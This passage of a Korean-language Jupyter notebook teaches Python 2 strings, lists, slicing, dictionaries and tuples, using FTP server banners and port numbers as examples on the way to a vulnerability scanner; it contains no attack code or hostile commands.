        " '__new__',\n",
        " '__reduce__',\n",
        " '__reduce_ex__',\n",
        " '__repr__',\n",
        " '__rmod__',\n",
        " '__rmul__',\n",
        " '__setattr__',\n",
        " '__sizeof__',\n",
        " '__str__',\n",
        " '__subclasshook__',\n",
        " '_formatter_field_name_split',\n",
        " '_formatter_parser',\n",
        " 'capitalize',\n",
        " 'center',\n",
        " 'count',\n",
        " 'decode',\n",
        " 'encode',\n",
        " 'endswith',\n",
        " 'expandtabs',\n",
        " 'find',\n",
        " 'format',\n",
        " 'index',\n",
        " 'isalnum',\n",
        " 'isalpha',\n",
        " 'isdigit',\n",
        " 'islower',\n",
        " 'isspace',\n",
        " 'istitle',\n",
        " 'isupper',\n",
        " 'join',\n",
        " 'ljust',\n",
        " 'lower',\n",
        " 'lstrip',\n",
        " 'partition',\n",
        " 'replace',\n",
        " 'rfind',\n",
        " 'rindex',\n",
        " 'rjust',\n",
        " 'rpartition',\n",
        " 'rsplit',\n",
        " 'rstrip',\n",
        " 'split',\n",
        " 'splitlines',\n",
        " 'startswith',\n",
        " 'strip',\n",
        " 'swapcase',\n",
        " 'title',\n",
        " 'translate',\n",
        " 'upper',\n",
        " 'zfill']"
       ]
      }
     ],
     "prompt_number": 18
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "banner"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 19,
       "text": [
        "'FreeFloat FTP Server'"
       ]
      }
     ],
     "prompt_number": 19
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \ub300\ubb38\uc790\ub85c \ubcc0\uacbd\n",
      "print banner.upper()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "FREEFLOAT FTP SERVER\n"
       ]
      }
     ],
     "prompt_number": 20
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc18c\ubb38\uc790\ub85c \ubcc0\uacbd\n",
      "print banner.lower()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "freefloat ftp server\n"
       ]
      }
     ],
     "prompt_number": 21
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \ubb38\uc790\uc5f4 \ubcc0\uacbd\n",
      "print banner.replace('FreeFloat', 'Ability')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Ability FTP Server\n"
       ]
      }
     ],
     "prompt_number": 22
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \ubb38\uc790\uc5f4 \uba54\uc18c\ub4dc\uc911 find, index \ucc28\uc774\uc810\n",
      "\n",
      "- find\uc640 index\ub294 \ubb38\uc790\uc5f4\ub0b4\uc5d0\uc11c \ud574\ub2f9\ud558\ub294 \ubb38\uc790\ub97c \ucc3e\uc558\uc744 \ub54c\ub294 index \uac12\uc744 \ub3cc\ub824\uc900\ub2e4.\n",
      "- \ud558\uc9c0\ub9cc \uc5c6\ub294 \ubb38\uc790\uc5f4\uc77c \ub54c\ub294 find\ub294 -1\uc744 index\ub294 ValueError\ub97c \uc54c\ub824\uc900\ub2e4.\n",
      "- \uc774 \ud2b9\uc9d5\uc744 \uc778\uc9c0\ud558\uace0 \ud544\uc694\uc5d0 \ub530\ub77c\uc11c \ud65c\uc6a9"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \ubb38\uc790\uc5f4 \ucc3e\uae30\n",
      "print banner.find('FTP')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "10\n"
       ]
      }
     ],
     "prompt_number": 23
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \ubb38\uc790\uc5f4\uc744 \ucc3e\uc9c0 \ubabb\ud588\uc744 \ub54c\n",
      "print banner.find('FTP2')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "-1\n"
       ]
      }
     ],
     "prompt_number": 24
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print banner.index('FTP')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "10\n"
       ]
      }
     ],
     "prompt_number": 25
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print banner.index('FTP2')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "ename": "ValueError",
       "evalue": "substring not found",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mValueError\u001b[0m                                Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-26-4c522c40d66a>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0;32mprint\u001b[0m \u001b[0mbanner\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mindex\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m'FTP2'\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mValueError\u001b[0m: substring not found"
       ]
      }
     ],
     "prompt_number": 26
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ub9ac\uc2a4\ud2b8\n",
      "\n",
      "- \ub9ac\uc2a4\ud2b8 \ub370\uc774\ud130 \uad6c\uc870\ub294 \uac1d\uccb4\ub97c \ubc30\uc5f4\ub85c \uc800\uc7a5\ud558\uae30\uc5d0 \ub9e4\uc6b0 \uc88b\uc740 \uc218\ub2e8\n",
      "- \ubaa8\ub4e0 \ub370\uc774\ud130 \ud0c0\uc785\uc758 \ub9ac\uc2a4\ud2b8\ub97c \ub9cc\ub4e4 \uc218 \uc788\uc74c\n",
      "- \ucd94\uac00, \uc0bd\uc785, \uc81c\uac70, \uc778\ub371\uc2a4\ud654, \uce74\uc6b4\ud2b8, \uc815\ub82c \uac19\uc740 \uc791\uc5c5\uc744 \ud558\uae30 \uc704\ud55c **\uc790\uccb4 \uba54\uc18c\ub4dc\uac00 \uc774\ubbf8 \uc874\uc7ac**"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList = []"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 27
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 28,
       "text": [
        "[]"
       ]
      }
     ],
     "prompt_number": 28
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList.append(21)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 29
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 30,
       "text": [
        "[21]"
       ]
      }
     ],
     "prompt_number": 30
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList.append(80)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 31
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList.append(443)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 32
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList.append(25)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 33
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 34,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 34
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc774 list \uc790\uccb4\uac00 \uc815\ub82c\uc774 \ub418\ubc84\ub824\uc11c \ub0b4\uac00 \uc6d0\ud558\ub294 \uc791\uc5c5\uc744 \ud560\uc9c0 \ubabb\ud560 \ub54c\uac00 \uc788\ub2e4.\n",
      "# \uc774 \ub54c\ub294 slice\ub97c \uc774\uc6a9\ud574\uc11c \ubcf5\uc0ac\ud574\uc57c \ud55c\ub2e4.\n",
      "portList.sort()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 35
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 36,
       "text": [
        "[21, 25, 80, 443]"
       ]
      }
     ],
     "prompt_number": 36
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "------"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### List\uc758 \uac1d\uccb4 \ucc38\uc870\uc640 \ubcf5\uc0ac\uc758 \ucc28\uc774\uc810"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList10 = [21, 80, 443, 25]\n",
      "portList10"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 37,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 37
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList11 = portList10\n",
      "portList11"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 38,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 38
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uac1d\uccb4\uc758 \ucc38\uc870\uac00 \ubcf5\uc0ac\ub418\uc5b4\uc11c \ubaa8\ub450 \ub3d9\uc2dc\uc5d0 \ubc14\ub00c\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.\n",
      "# \uc27d\uac8c \uc774\uc57c\uae30\ud558\uba74 \uac1d\uccb4\uc758 \uc8fc\uc18c\uac00 \uc804\ub2ec\ub418\uc5b4 portList11\uacfc portList10\uc774 \ub3d9\uc77c\ud55c \uac1d\uccb4\ub97c \uac00\ub974\ud0a4\uac8c \ub418\ub294\uac83\n",
      "portList11.sort()\n",
      "print 'portList11 ', portList11\n",
      "print 'portList10 ', portList10"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "portList11  [21, 25, 80, 443]\n",
        "portList10  [21, 25, 80, 443]\n"
       ]
      }
     ],
     "prompt_number": 39
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList2 = [21, 80, 443, 25]\n",
      "portList2"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 40,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 40
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# slice \uc5f0\uc0b0\uc790\uc778 :\ub97c \uc0ac\uc6a9\ud558\uba74 \ubcf5\uc0ac\uac00 \uc774\ub8e8\uc5b4\uc9c4\ub2e4.\n",
      "portList3 = portList2[:]\n",
      "portList3.sort()\n",
      "print 'portList3 ', portList3\n",
      "print 'portList2 ', portList2"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "portList3  [21, 25, 80, 443]\n",
        "portList2  [21, 80, 443, 25]\n"
       ]
      }
     ],
     "prompt_number": 41
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList2[:]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 42,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 42
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# slice \n",
      "# \uc2dc\uc791 index(\ud3ec\ud568): \ub05d index(\ubbf8\ud3ec\ud568)\n",
      "portList2[0:2]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 43,
       "text": [
        "[21, 80]"
       ]
      }
     ],
     "prompt_number": 43
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz\n",
      "\n",
      "- portList2[1:3]\uc758 \ucd9c\ub825\uac12\uc740?"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList2"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 44,
       "text": [
        "[21, 80, 443, 25]"
       ]
      }
     ],
     "prompt_number": 44
    },
    {
     "cell_type": "code",
     "collapsed": true,
     "input": [
      "portList2[1:3]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 45,
       "text": [
        "[80, 443]"
       ]
      }
     ],
     "prompt_number": 45
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "------"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# sorting \ub418\uc5b4\uc9c4 \uc0c1\ud0dc\n",
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 46,
       "text": [
        "[21, 25, 80, 443]"
       ]
      }
     ],
     "prompt_number": 46
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "pos = portList.index(80)\n",
      "pos"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 47,
       "text": [
        "2"
       ]
      }
     ],
     "prompt_number": 47
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(pos)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 48,
       "text": [
        "int"
       ]
      }
     ],
     "prompt_number": 48
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '[+] There are ' + str(pos) + ' ports to scan before 80.'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] There are 2 ports to scan before 80.\n"
       ]
      }
     ],
     "prompt_number": 49
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '[+] There are ' + pos + ' ports to scan before 80.'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "ename": "TypeError",
       "evalue": "cannot concatenate 'str' and 'int' objects",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mTypeError\u001b[0m                                 Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-50-3db9260fdcfd>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0;32mprint\u001b[0m \u001b[0;34m'[+] There are '\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0mpos\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0;34m' ports to scan before 80.'\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mTypeError\u001b[0m: cannot concatenate 'str' and 'int' objects"
       ]
      }
     ],
     "prompt_number": 50
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 51,
       "text": [
        "[21, 25, 80, 443]"
       ]
      }
     ],
     "prompt_number": 51
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList.remove(443)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 52
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print portList"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[21, 25, 80]\n"
       ]
      }
     ],
     "prompt_number": 53
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "cnt = len(portList)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [],
     "prompt_number": 54
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "help(len)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Help on built-in function len in module __builtin__:\n",
        "\n",
        "len(...)\n",
        "    len(object) -> integer\n",
        "    \n",
        "    Return the number of items of a sequence or mapping.\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 55
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "len?"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 56
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '[+] Scanning ' + str(cnt) + ' Total Ports.'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Scanning 3 Total Ports.\n"
       ]
      }
     ],
     "prompt_number": 57
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ub515\uc154\ub108\ub9ac\n",
      "\n",
      "- \ub515\uc154\ub108\ub9ac: \ud30c\uc774\uc36c \uac1d\uccb4\ub97c \uc800\uc7a5\ud560 \uc218 \uc788\ub294 \ud574\uc26c \ud14c\uc774\ube14\uc744 \uc81c\uacf5\n",
      "- \ub515\uc154\ub108\ub9ac\ub294 \ud0a4\uc640 \uac12\uc73c\ub85c \uad6c\uc131\ub418\uc5b4 \uc788\uc74c\n",
      "- \ubcf8 \ucde8\uc57d\uc810 \uc2a4\uce90\ub108 \uc608\ub97c \uc774\uc6a9\ud558\uc5ec \ud30c\uc774\uc36c\uc758 \ub515\uc154\ub108\ub9ac\ub97c \uacc4\uc18d \uc0b4\ud3b4\ubcfc \uac83\n",
      "- \ud2b9\uc815 TCP \ud3ec\ud2b8\ub97c \uc2a4\uce90\ub2dd\ud560 \ub54c \uac01 \ud3ec\ud2b8\uc5d0\uc11c \uc77c\ubc18\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\ub294 \uc11c\ube44\uc2a4 \uc774\ub984\uc744 \ub515\uc154\ub108\ub9ac\ub85c \uc800\uc7a5\ud574\ub450\uba74 \uc720\uc6a9\ud560 \uac83\n",
      "- \ub515\uc154\ub108\ub9ac\ub97c \ub9cc\ub4e4\uc5b4\uc11c ftp\uc624 \uac19\uc740 \ud0a4\ub85c \uac80\uc0c9\ud558\uba74 \uadf8 \ud3ec\ud2b8\uc758 \uac12\uc778 21\uc744 \ubc18\ud658\n",
      "- \ub515\uc154\ub108\ub9ac\ub97c \ub9cc\ub4e4 \ub54c\uc5d0\ub294 \uac01 \ud0a4\uc640 \uac12\uc744 \ucf5c\ub860\uc73c\ub85c \uad6c\ubd84\ud558\uace0, \uac01 \uc544\uc774\ud15c\ub4e4\uc740 \ucf64\ub9c8\ub85c \ubd84\ub9ac\n",
      "\n",
      "<img src=\"files/images/dict.png\" />"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# key: value\n",
      "# \ucf64\ub9c8\ub97c \uae30\uc900\uc73c\ub85c \ub098\ub25c\ub2e4.\n",
      "services = {'ftp': 21,\n",
      "            'ssh': 22,\n",
      "            'smtp': 25,\n",
      "            'http': 80}"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 58
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc815\ub82c\uc774 \ub4a4\uc8fd\ubc15\uc8fd\uc774 \ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.\n",
      "# \ub0b4\ubd80\uc801\uc73c\ub85c \ud574\uc26c\uac12\uc73c\ub85c \uc800\uc7a5\uc774 \ub418\uae30 \ub54c\ubb38\uc5d0 \uc0ac\uc6a9\uc790\ub4e4\uc774 \uc5b4\ub5bb\uac8c \ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.\n",
      "services"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 59,
       "text": [
        "{'ftp': 21, 'http': 80, 'smtp': 25, 'ssh': 22}"
       ]
      }
     ],
     "prompt_number": 59
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(services)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 60,
       "text": [
        "dict"
       ]
      }
     ],
     "prompt_number": 60
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "services.keys()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 61,
       "text": [
        "['ftp', 'smtp', 'ssh', 'http']"
       ]
      }
     ],
     "prompt_number": 61
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "services.values()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 62,
       "text": [
        "[21, 25, 22, 80]"
       ]
      }
     ],
     "prompt_number": 62
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# items\ub97c \uc0ac\uc6a9\ud558\uba74 key, value\ub97c \ud29c\ud50c \ud615\ud0dc\ub85c \ub3cc\ub824\uc900\ub2e4.\n",
      "services.items()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 63,
       "text": [
        "[('ftp', 21), ('smtp', 25), ('ssh', 22), ('http', 80)]"
       ]
      }
     ],
     "prompt_number": 63
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "\n",
      "#### Quiz\n",
      "\n",
      "#### list vs tuple \ucc28\uc774\uc810\uc740?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uac70\uc758 \ub611\uac19\uc740 \uc5ed\ud560\ub85c \ubcc0\uc218\ub4e4\uc744 \ub2f4\ub294 \ubc14\uad6c\ub2c8 \uc5ed\ud560\n",
      "- list\ub294 \uadf8 \uc548\uc5d0 \uc788\ub294 \uc694\uc18c\ub4e4\uc744 **\ubcc0\uacbd \uac00\ub2a5**\n",
      "- tuple\uc740 \uadf8 \uc548\uc5d0 \uc788\ub294 \uc694\uc18c\ub4e4\uc744 **\ubcc0\uacbd \ubd88\uac00\ub2a5**"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### \uadf8\ub7fc \uc65c \ubcc0\uacbd \uac00\ub2a5\uacfc \ubd88\uac00\ub2a5\uc744 \uc4f0\ub290\ub0d0?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ud504\ub85c\uadf8\ub798\uba38\uac00 \uc2e4\uc218\ub97c \ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0 \ud30c\uc774\uc36c\uc5d0\uc11c \uc9c0\uc6d0\ud574\uc8fc\ub294 \ubcc0\uacbd \ubd88\uac00\ub2a5 \uae30\ub2a5\uc744 \uc0ac\uc6a9\ud55c\ub2e4.\n",
      "- \uc608\ub97c \ub4e4\uba74 \uc808\ub300\ub85c \ubcc0\uacbd\ub418\uc9c0 \uc54a\uc544\uc57c \ud558\ub294 \uac12\uc774 \uc788\ub294\ub370 \ud504\ub85c\uadf8\ub798\uba38\uc758 \uc2e4\uc218\ub85c \uadf8 \uac12\uc744 \ub36e\uc5b4\uc50c\uc6cc \ubc84\ub9ac\uba74 \uc548\ub418\uae30 \ub54c\ubb38\uc5d0 \ubcc0\uacbd \ubd88\uac00\ub2a5\uc744 \ud29c\ud50c\ub85c \ub530\ub85c \ube7c\uc11c \ub9cc\ub4ec"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "l = [1,2]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [],
     "prompt_number": 64
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "l"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "-"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 65,
       "text": [
        "[1, 2]"
       ]
      }
     ],
     "prompt_number": 65
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "l[0] = 5"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 66
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "l"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 67,
       "text": [
        "[5, 2]"
       ]
      }
     ],
     "prompt_number": 67
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "t = (1, 3)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 68
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "t"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 69,
       "text": [
        "(1, 3)"
       ]
      }
     ],
     "prompt_number": 69
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "t[0] = 5"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "ename": "TypeError",
       "evalue": "'tuple' object does not support item assignment",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mTypeError\u001b[0m                                 Traceback (most recent call last)",
